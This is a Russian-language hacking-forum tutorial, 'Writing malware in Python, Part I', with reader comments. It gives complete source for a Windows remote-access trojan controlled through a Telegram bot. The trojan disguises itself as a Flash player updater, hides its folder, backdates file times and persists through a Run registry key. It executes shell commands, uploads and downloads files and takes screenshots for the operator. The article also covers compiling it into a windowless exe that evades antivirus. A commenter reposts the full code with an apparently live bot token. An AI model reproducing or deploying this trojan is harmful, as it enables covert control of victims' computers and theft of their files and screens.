Статья Пишем малварь на Python, Часть I, Telegram-bot

Статья для участия в конкурсе на codeby

Приветствую всех обитателей формура и просто заблудших душ. Python - несомненно, один из самых простых в изучении и использовании язык программирования. В этой серии статей я хочу показать приёмы написания вредоносных программ на Python 3, в целях саморазвития, естественно.

[WARNING]
Статья несёт лишь познавательный характер и призывает читателей расширять свой кругозор. Используйте свою силу во благо. Никогда не переходите на тёмную сторону!
[WARNING]

В рамках этой статьи будут реализованы слудющие вещи:

  • автозагрузка
  • связь с компьютером жертвы посредством telegram-бота на его стороне
  • компиляция в независимый от Python исполняемый файл
Начнём же!
85801c1bd0034e21bb89de69375d2bfa.png


Получаем телеграм-бота
Резонный вопрос: "почему телеграм бот? Сделай нормальный вирус." Ответ довольно прост: телеграм не воспринимается антивирусными системами как вредонос, у него есть шифрование, нам не нужен выделенный ip для управления, рулить ботом/ботами можно в чате сразу нескольким людям, а ещё он просто классный.


Получить бота можно у... бота. Идём в телеграм и ищем @BotFather

upload_2017-10-31_15-32-59.png



Создаём нового бота ( /newbot ), придумываем имя и ссылку. Взамен получаем токен для управления.

upload_2017-10-31_15-44-25.png



Далее можно разрешить входить в групповые чаты ( /setjoingroups ) и провести дальнейшую настройку. Бот будет доступен по выданной BotFather-ом ссылке.

upload_2017-10-31_15-58-33.png


Начинаем кодить
Каркас нашей программы будет выглядеть так:
Код:
# -*- coding: utf-8 -*-

import os
import sys
import time
import shutil
import winreg
import getpass
import telepot
import requests
import win32api
import winshell
import threading
import subprocess 
import encodings.idna               # requests ругался на отсутствие idna-колировок, решается импортом
from PIL import ImageGrab
from telepot.loop import MessageLoop

class Pyjan:
    def __init__(self):                                       # При создании экземпляра класса в __init__ автоматически запустатся нужные нам функции  функции класса
       try:
           if sys.argv[1] == "--quiet":      # Если программа запущена с ключом, значит она уже в автозапуске
               pass
       except IndexError:
           self.set_autorun()                            # Если программа запущена не из автозапуска, то добавляем

       MessageLoop(bot, self.bot_handler).run_as_thread()     # Обработчик сообщений в отдельном потоке

       print("[*] Bot connected.")
       for chat in trusted_chats:
           bot.sendMessage(chat, "[*] Bot connected.")
       for user in trusted_users:
           bot.sendMessage(user, "[*] Bot connected.")

       while True:              # Не даём программе закрыться
           time.sleep(10)

   def set_autorun(self):
       pass
 
   def bot_handler(self, message):
       pass

if __name__ == '__main__':
    token = " "              # токен бота
    bot = telepot.Bot(token)          
    trusted_users = []       # Доверенные пользователи, которые смогут общаться с ботом
    trusted_chats = []       # Доверенные группы
    trojan = Pyjan()         # Создаём эекемпляр класса

Далее все новые функции программы будет достаточно просто добавить как функции класса вируса или как отдельные модули

Автозагрузка
Добавление в автозагрузку реализовано следующим образом: если программа запущена без ключей, то запускаем функцию set_autorun. Запуск с ключом ( --quiet в данном случае) означает то, что программа была запущена из автостарта. (метод описан в начале функции __init__). Взглянем на set_autorun:
Код:
    def set_autorun(self):
        application = sys.argv[0]
        start_path = os.path.join(os.path.abspath(os.getcwd()), application)   # Получаем наше местонахождение

        copy2_path = "{}\\{}".format(winshell.my_documents(), "Adobe flash player")
        copy2_app = os.path.join(copy2_path, "Flash player updater.exe")
 
        if not os.path.exists(copy2_path):
            os.makedirs(copy2_path)
 
        win32api.CopyFile(start_path, copy2_app)       # Копируем приложение в папку с незамысловатым названием

        win32api.SetFileAttributes(copy2_path, 2)      # Делаем папку невидимой
        os.utime(copy2_app, (1282372620, 1282372620))  # Меняем дату создания папки
        os.utime(copy2_path, (1282372620, 1282372620)) # и программы

        startup_val = r"Software\Microsoft\Windows\CurrentVersion\Run"
        key2change = winreg.OpenKey(winreg.HKEY_CURRENT_USER, startup_val, 0, winreg.KEY_ALL_ACCESS))
        winreg.SetValueEx(key2change, "Flash player updater", 0, winreg.REG_SZ, start_path+" --quiet") # Добавляем программу в автозагрузку с помощью ключа реестра
Здесь программа копирует себя в произвольную папку, делает её невидимой и сменяет дату создания. Путь до автостарта добавляется с ключом --quiet, в нашем случае это означает, что программа не будет лишний раз добавлять себя в автозагрузку.
Если скопировать программу в папку, не принадлежащую текущему пользователю, то нас встретит UAC, а антивирус не позволит завершить копирование. Стоит так же заметить, что хоть мы и сделали папку с "флеш плеером" невидимой, в настройках можно просматривать скрытые папки, имейте это ввиду:
upload_2017-10-31_21-31-55.png


Telegram bot
Вернёмся к нашему боту. В слушателе сообщений bot_handler нужно ограничить доступ к вводу команд до определённого круга лиц и чатов по их уникальным id ( которые мы добавили перед созданием объекта класса ). Так же нужно описать базовые команды, такие как загрузка/выгрузка файлов, запуск программ, исполнение консольных (cmd/powershell) утилит. Тут возможности бота ограничены лишь вашим воображением. Мой код:
Код:
    def bot_handler(self, message):
        print(message)

        userid = message["from"]["id"]
        chatid = message["chat"]["id"]

        if userid in trusted_users or chatid in trusted_chats:        # Если к боту обращаются доверенные лица - исполняем команду.
           try:                                                       # Если в сообщении нет текста, то возможно боту отправили файл
               args = message["text"].split()
           except KeyError:
               args = [""]

               if "document" in message:                              # Если это действительно файл, то загружаем его
                   file_name = message["document"]["file_name"]
                   file_id = message["document"]["file_id"]
               elif "photo" in message:
                   file_id = message["photo"][-1]["file_id"]
                   print(message["photo"])
                   file_name = "{}.jpg".format(file_id)

               file_path = bot.getFile(file_id)['file_path']
               link = "https://api.telegram.org/file/bot{}/{}".format(token, file_path)
               File = requests.get(link, stream=True).raw
               print(link)

               save_path = os.path.join(os.getcwd(), file_name)
               with open(save_path, "wb") as out_file:
                   shutil.copyfileobj(File, out_file)
     
               bot.sendMessage(message["chat"]["id"], "[*] file uploaded")

           if args[0] == "/help":
               s = """/help - помощь
                         /cmd   - выполнить cmd команду, требующую возвращения результата
                         /run    - запустить программу, не требующую возвращения результатов
                         /pwd   - текущая дериктория
                         /ls   - показать файлы в директории
                         /cd   - сменить дерикторию
                         /screen - сделать скриншот экрана
                         /download - скачать файл с компьютера
                     """
               bot.sendMessage(message["chat"]["id"], str(s))

           elif args[0] == "/cmd":
               try:
                   s = "[*] {}".format(subprocess.check_output(' '.join(args[1:]), shell=True))
               except Exception as e:
                   s = "[!] {}".format(e)

               bot.sendMessage(message["chat"]["id"], "{}".format(str(s))) 

           elif args[0] == "/run":
               try:
                   s = "[*] Program started"
                   subprocess.Popen(args[1:], shell=True)
         
               except Exception as e:
                   s = "[!] {}".format(str(e))
               bot.sendMessage(message["chat"]["id"], "{}".format(str(s)))

           elif args[0] == "/pwd":
               try:
                   s = os.path.abspath(os.getcwd())
               except Exception as e:
                   s = e
     
               bot.sendMessage(message["chat"]["id"], "[*] {}".format(str(s)))
           elif args[0] == "/ls":
               if len(args) == 1:
                   pth = "."
               else:
                   pth = args[1]
               s = '\n'.join(os.listdir(path=pth))
               bot.sendMessage(message["chat"]["id"], "[*] {}".format(str(s)))
     
           elif args[0] == "/cd":
               path = os.path.abspath(args[1])
               os.chdir(path)
               bot.sendMessage(message["chat"]["id"], "[*] changing directory to {} ...".format(str(path)))
     
           elif args[0] == "/screen":
               image = ImageGrab.grab()
               image.save("pic.jpg")
               bot.sendDocument(message["chat"]["id"], open("pic.jpg", "rb"))
               os.remove("pic.jpg")

           elif args[0] == "/download":
               File = ' '.join(map(str, args[1:]))
               try:
                   bot.sendDocument(message["chat"]["id"], open(File, "rb"))
               except Exception:
                   bot.sendMessage(message["chat"]["id"], "[!] you must select the file")
           elif args[0] == "":
               pass

           else:
               bot.sendMessage(message["chat"]["id"], "[*] /help для вывода команд")

       else:
           bot.sendMessage(message["chat"]["id"], "Уходи.")

Исходники будут лежать на github.

Компиляция
Для компиляции в единый исполняемый файл нам понадобится windows с , , и бесчисленное колличество модулей, которые нужно установить самостоятельно
Код:
telepot
winshell
pillow
requests
wheel
pycrypto
Если вы не собираетесь обфуцировать свой код, то pycrypto вам не понадобится. Иначе же для его установки вам нужен и .

Что бы скомпилировать файл, вводим в терминале pyinstaller -F --key codebynet --icon flash.ico --noconsole flashplayer.py

Снимок.PNG


Разберём команду:
-F компилировать в единый .exe файл
--key codebynet использовать ключ шифрования codebynet
--icon flash.ico иконка для исполняемого файла в ico-формате
--noconsole не показывать консоль во время работы программы​

Последние обновления PyCrypto датируются 2014 годом. Не мудрено, что на новым версиях Python могут выскакивать ошибки при установке. Мне, к сожалению, не помогли бесчисленные советы о установке PyCrypto, но это не повлияло на детект атнивирусом

Снимок5.PNG

После запуска программы на стороне жертвы ловим сессию, радуемся жизни.

4Ik4UawY2Zc.jpg


Весь исходный код, как уже было сказано выше, будет лежать тут.
На этом я хотел бы закончить эту вводную статью. Всем до свидания и удачного кодинга!
 
Последнее редактирование:

ghost

Well-known member
12.05.2016
1 636
3 289
BIT
0
Как всегда ТС
2ea59258882a7c822672da4cb77174fb.jpg

Простенько и со вкусом
 

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
Опять черные цвета. Тыкните в него правило оформления статей. В целом неплохо но не заведется на большинстве тачек. Полный идиотизм писать для виндовые тачек на питоне. С апи телеги можно работать на любом языке.
 
  • Нравится
Реакции: Flankt и Vander

Dr.Lafa

Green Team
30.12.2016
507
1 050
BIT
0
Опять черные цвета. Тыкните в него правило оформления статей.
Исправил цвета
В целом неплохо но не заведется на большинстве тачек.
Не могу сказать про большинство тачек, но на моей win 7 + Kaspersky 2016 с последними обновлениями завёлся. В win 8/10, думаю, нет большой разницы.
Полный идиотизм писать для виндовые тачек на питоне. С апи телеги можно работать на любом языке.
Цель статьи и будущих статей данного цикла как раз показать, что хотя бы простые вредоносы на Python не такой идиотизм, как может показаться на первый взгляд. Хотя в этом действительно есть узкие места по сравнению, например, с Си.
 
  • Нравится
Реакции: id2746, Vander и SooLFaa

Bringer_the_Light

Green Team
02.03.2017
109
127
BIT
0
Спасибо,очень интересная и самое главное актуальная в силу популярности телеги статья.
Мой респект тебе!))
 

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
Исправил цвета

Не могу сказать про большинство тачек, но на моей win 7 + Kaspersky 2016 с последними обновлениями завёлся. В win 8/10, думаю, нет большой разницы.

Цель статьи и будущих статей данного цикла как раз показать, что хотя бы простые вредоносы на Python не такой идиотизм, как может показаться на первый взгляд. Хотя в этом действительно есть узкие места по сравнению, например, с Си.
Тогда умничка.
 
Последнее редактирование модератором:
  • Нравится
Реакции: ruda_dima
A

Akroll

Да чё вы пристали к этому питону?
Автор просто показал как пример.
Статья отличная. Она носит информативный характер, а не полный мануал для будущих ботоводов-школьников.
 
  • Нравится
Реакции: kot-gor и n01n02h
G

Gartagrein

А можно поинтересоваться, trusted_users = [что и как суда писать] и телеграмм ID вписывал и логин через собачку и ник но все равно бот упорно кричит уходи
 

Dr.Lafa

Green Team
30.12.2016
507
1 050
BIT
0
А можно поинтересоваться, trusted_users = [что и как суда писать] и телеграмм ID вписывал и логин через собачку и ник но все равно бот упорно кричит уходи
Сюда ID юзера. Должен высвечиваться в терминале с запущенным ботом, когда ты ему пишешь.
 
G

Gartagrein

в котором ты запускаешь бота, там отладочная инфа. Либо перепиши скрипт, что бы её выводило в сообщении
Код:
# -*- coding: utf-8 -*-



import os

import sys

import time

import shutil

import winreg

import getpass

import telepot

import requests

import win32api

import winshell

import threading

import subprocess          

import encodings.idna                # requests ругался на отсутствие idna-колировок, решается импортом

from PIL import ImageGrab

from telepot.loop import MessageLoop



class Pyjan:

    def __init__(self):

        try:

            if sys.argv[1] == "--quiet":

                pass

        except IndexError:

            self.set_autorun()                                 # Если программа запущена не из автозапуска, то добавляем

       

        MessageLoop(bot, self.bot_handler).run_as_thread()

        print("[*] Bot connected.")

        for chat in trusted_chats:

            bot.sendMessage(chat, "[*] Bot connected.")

        for user in trusted_users:

            bot.sendMessage(user, "[*] Bot connected.")



        while True:

            time.sleep(10)

   

    def set_autorun(self):

        application = sys.argv[0]

        print(application)

        start_path = os.path.join(os.path.abspath(os.getcwd()), application)   # Получаем наше местонахождение



        copy2_path = "{}\\{}".format(winshell.my_documents(), "Adobe flash player")

        copy2_app = os.path.join(copy2_path, "Flash player updater.exe")

       

        if not os.path.exists(copy2_path):

            os.makedirs(copy2_path)

   

        win32api.CopyFile(start_path, copy2_app)       # Копируем приложение в папку с незамысловатым названием



        win32api.SetFileAttributes(copy2_path, 2)      # Делаем папку невидимой

        os.utime(copy2_app, (1282372620, 1282372620))  # Меняем дату создания папки

        os.utime(copy2_path, (1282372620, 1282372620)) # и программы



        startup_val = r"Software\Microsoft\Windows\CurrentVersion\Run"

        key2change = winreg.OpenKey(winreg.HKEY_CURRENT_USER, startup_val, 0, winreg.KEY_ALL_ACCESS)

        winreg.SetValueEx(key2change, 'Flash player updater', 0, winreg.REG_SZ, start_path+" --quiet") # Добавляем программу в автозагрузку с помощью ключа реестра

       



    def bot_handler(self, message):

        print(message)



        userid = message["from"]["id"]

        chatid = message["chat"]["id"]



        if userid > trusted_users or chatid > trusted_chats:

            try:

                args = message["text"].split()

            except KeyError:

                args = [""]



                if "document" in message:

                    file_id = message["document"]["file_id"]

                    file_name = message["document"]["file_name"]

                elif "photo" in message:

                    file_id = message["photo"][-1]["file_id"]

                    print(message["photo"])

                    file_name = "{}.jpg".format(file_id)



                file_path = bot.getFile(file_id)['file_path']

                link = "https://api.telegram.org/file/bot{}/{}".format(token, file_path)

                File = requests.get(link, stream=True).raw

                print(link)



                save_path = os.path.join(os.getcwd(), file_name)

                with open(save_path, "wb") as out_file:

                    shutil.copyfileobj(File, out_file)

               

                bot.sendMessage(message["chat"]["id"], "[*] file uploaded")



            if args[0] == "/help":

                s = """/help - помощь

                    /cmd    - выполнить cmd команду, требующую возвращения результата

                    /run    - запустить программу, не требующую возвращения результатов

                    /pwd    - текущая дериктория

                    /ls    - показать файлы в директории

                    /cd    - сменить дерикторию

                    /screen - сделать скриншот экрана

                    /download - скачать файл с компьютера

                """

                bot.sendMessage(message["chat"]["id"], str(s))



            elif args[0] == "/cmd":

                try:

                    s = "[*] {}".format(subprocess.check_output(' '.join(args[1:]), shell=True))

                except Exception as e:

                    s = "[!] {}".format(e)



                bot.sendMessage(message["chat"]["id"], "{}".format(str(s)))          



            elif args[0] == "/run":

                try:

                    s = "[*] Program started"

                    subprocess.Popen(args[1:], shell=True)

                   

                except Exception as e:

                    s = "[!] {}".format(str(e))

                bot.sendMessage(message["chat"]["id"], "{}".format(str(s)))



            elif args[0] == "/pwd":

                try:

                    s = os.path.abspath(os.getcwd())

                except Exception as e:

                    s = e

               

                bot.sendMessage(message["chat"]["id"], "[*] {}".format(str(s)))

            elif args[0] == "/ls":

                if len(args) == 1:

                    pth = "."

                else:

                    pth = args[1]

                s = '\n'.join(os.listdir(path=pth))

                bot.sendMessage(message["chat"]["id"], "[*] {}".format(str(s)))

               

            elif args[0] == "/cd":

                path = os.path.abspath(args[1])

                os.chdir(path)

                bot.sendMessage(message["chat"]["id"], "[*] changing directory to {} ...".format(str(path)))

               

            elif args[0] == "/screen":

                image = ImageGrab.grab()

                image.save("pic.jpg")

                bot.sendDocument(message["chat"]["id"], open("pic.jpg", "rb"))

                os.remove("pic.jpg")



            elif args[0] == "/download":

                File = ' '.join(map(str, args[1:]))

                try:

                    bot.sendDocument(message["chat"]["id"], open(File, "rb"))

                except Exception:

                    bot.sendMessage(message["chat"]["id"], "[!] you must select the file")

            elif args[0] == "":

                pass



            else:

                bot.sendMessage(message["chat"]["id"], "[*] /help для вывода команд")



        else:

            bot.sendMessage(message["chat"]["id"], "Уходи.")



if __name__ == '__main__':

    token = "559170294:AAH95ll_PtZ1dWzYLybMbEnNGB4Clja5jqA"

    bot = telepot.Bot(token)

   

    trusted_users = ["292990765"]

    trusted_chats = []

   

    trojan = Pyjan()
я компилирую его в exe файл и запускаю на виртуалке (прости за тупость но досих пор не могу понять что за терминал) он пишет в телеграмме что bot connected но при любой команде говорит уходи, через терминал компилирую разве что но врядли ты о нем pyinstaller -F --noconsole main.py
 

Dr.Lafa

Green Team
30.12.2016
507
1 050
BIT
0
Вообще-то ты можешь запускать этот скрипт не компилируя -_- через терминал, настроить/переделать на свой вкус и цвет и потом компилить
 
M

makcim

Плохо что для каждого нового пк нужен новый бот api.
Если запустить на двух пк этот код с одинаковыми api, то на первом бот упадет в ошибку и будет работать только на втором.
или это можно как-то решить?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!